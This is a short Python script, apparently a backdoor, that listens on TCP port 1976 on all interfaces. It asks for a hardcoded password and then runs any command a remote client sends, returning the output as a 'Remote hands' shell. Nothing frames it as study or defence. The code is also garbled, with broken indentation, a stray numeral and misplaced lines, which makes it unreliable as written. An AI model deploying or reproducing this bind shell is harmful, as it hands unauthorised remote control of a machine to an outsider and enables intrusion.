Run listner service on 1976

#!/usr/bin/python
import socket
import subprocess
import os
import signal
def ctrlc_handler(signum, frm):
         client.send("+ Remote shudtown detected.\n")
# create socket to listen on
tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpSocket.bind(("0.0.0.0", 1976))
tcpSocket.listen(1)

while True:

         try:
                 (client, (ip, port)) = tcpSocket.accept()
1

signal.signal(signal.SIGINT, ctrlc_handler)

                client.send("+ Password: ")
                pwd = client.recv(2048)
                if pwd.strip() == "kuPzcbFgMPnD8KbeBpBySLs86GxR6yUc8ECAQTHygWBbc95KEFh2LTX3XwUuGzMQU9UFV7R5QQHMac7wDFM8TVUepCKE4j68GHy3QFhjcVqLEtzuJFm5RUw8":
                        client.send("\n\n+++ Remote hands +++\n")
                        client.send("connected: " + str(ip) + ":" + str(port) + "\n\n")

                        data = "help"
                        while data != "exit":
                                try:
                                        client.send("# ")
                                        data = client.recv(2048)
                                        data = data.strip()

                                   if data == "exit":
                                                break
                                           if data == "killserver":
                                                client.send("+ Shutting down service.\n")
                                                os._exit(0)

                                data_list = data.split(" ")
                                        out = subprocess.check_output(data_list)
                                        out_list = out.split("\n")
                                        for i in out_list:
                                                if i != "":
                                                        client.send("-> " + i + "\n")
                                except Exception as e:
                                        client.send(str(e) + "\n")
               else:
                        client.send("- Invalid credentials.")

                 client.close()
         except:
                 pass